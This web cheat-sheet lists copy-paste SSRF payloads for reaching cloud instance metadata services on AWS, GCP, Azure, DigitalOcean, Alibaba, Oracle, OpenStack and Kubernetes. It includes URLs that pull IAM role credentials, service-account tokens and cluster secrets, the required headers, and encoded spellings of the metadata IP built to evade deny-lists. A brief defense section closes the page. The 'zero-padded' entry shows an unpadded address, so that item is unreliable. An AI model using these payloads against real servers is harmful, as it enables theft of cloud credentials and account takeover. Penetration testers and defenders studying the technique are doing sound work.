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Cloud Metadata SSRF Payloads

Copy-paste SSRF payloads for cloud instance metadata: AWS 169.254.169.254 (IMDSv1/v2), GCP metadata.google.internal, Azure, DigitalOcean, Alibaba, Oracle, OpenStack and Kubernetes — with the required headers and the defenses.

30 payloads

Cloud metadata is the highest-value SSRF target: reach the link-local 169.254.169.254 endpoint (or metadata.google.internal) from a vulnerable server and you usually walk away with temporary IAM credentials or an OAuth token.

This applies to any server-side fetch running on a cloud VM, container or serverless host that reaches the metadata service. GCP and Azure require a request header, so you need header control (or a gopher:// primitive) there; AWS IMDSv1 needs nothing.

Confirm the fetch is server-side first by pointing the parameter at an out-of-band listener (interactsh / Burp Collaborator) and watching for the callback before you spend time on these.

Instance metadata endpoints

One per provider. The note shows the header each one needs.

  • http://169.254.169.254/latest/meta-data/

    AWS IMDSv1 — metadata root

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/

    AWS — IAM role credentials (then append the role name)

  • http://169.254.169.254/latest/api/token

    AWS IMDSv2 — PUT here for a token (header X-aws-ec2-metadata-token-ttl-seconds)

  • http://169.254.169.254/latest/user-data/

    AWS — user-data (often holds secrets/bootstrap scripts)

  • http://metadata.google.internal/computeMetadata/v1/?recursive=true

    GCP — recursive dump (header Metadata-Flavor: Google)

  • http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

    GCP — service-account OAuth token (header Metadata-Flavor: Google)

  • http://169.254.169.254/metadata/instance?api-version=2021-02-01

    Azure — instance metadata (header Metadata: true)

  • http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

    Azure — managed-identity token (header Metadata: true)

  • http://169.254.169.254/metadata/v1/

    DigitalOcean — droplet metadata

  • http://100.100.100.200/latest/meta-data/

    Alibaba Cloud — metadata root

  • http://169.254.169.254/opc/v1/instance/

    Oracle Cloud (OCI) — instance metadata

  • http://169.254.169.254/openstack/latest/meta_data.json

    OpenStack — metadata JSON

  • http://2852039166/latest/meta-data/

    AWS metadata via dotless-decimal IP (filter bypass)

  • http://0xa9fea9fe/latest/meta-data/

    AWS metadata via dotless-hex IP (filter bypass)

Encoded 169.254.169.254 (filter bypass)

Numeric spellings of the AWS/Azure metadata IP for deny-lists that string-match the dotted form.

  • 169.254.169.254

    Canonical dotted-decimal (baseline)

  • 2852039166

    Dotless decimal (32-bit integer)

  • 0xa9fea9fe

    Dotless hexadecimal

  • 025177524776

    Dotless octal

  • 0xa9.0xfe.0xa9.0xfe

    Per-octet hexadecimal

  • 0251.0376.0251.0376

    Per-octet octal (leading-zero = octal in inet_aton)

  • 0xa9.254.169.254

    Mixed hex + decimal

  • 169.0xfe.0xa9.254

    Mixed decimal + hex

  • 169.254.43518

    3-part shorthand (last part = 16-bit)

  • 169.16689662

    2-part shorthand (last part = 24-bit)

  • 169.254.169.254

    Zero-padded octets (ambiguous octal/decimal across parsers)

  • 7147006462

    Decimal + 2^32 (mod-2^32 overflow bypass)

Kubernetes & container metadata

When the SSRF lands inside a cluster.

  • https://kubernetes.default.svc/

    In-cluster API server (needs the pod's service-account bearer token)

  • https://kubernetes.default.svc/api/v1/namespaces/default/secrets

    List secrets — if the service account is over-privileged

  • http://169.254.169.254/latest/meta-data/ (EKS/GKE/AKS node)

    Cloud node metadata is still reachable from many pods

  • http://<node-ip>:10255/pods

    Kubelet read-only port (legacy, often open) — lists pods and env

Defense

  • Enforce IMDSv2 with http-tokens: required and set the metadata hop limit to 1; confirm with aws ec2 describe-instance-metadata-options rather than trusting the launch template.
  • Scope instance/service-account roles to least privilege — the blast radius is the credentials, not the reach.
  • Block egress to 169.254.169.254 and metadata.google.internal at the network layer for workloads that don't need it.
  • Alert on credential use from outside the instance (e.g. GuardDuty InstanceCredentialExfiltration).

All SSRF payload hubs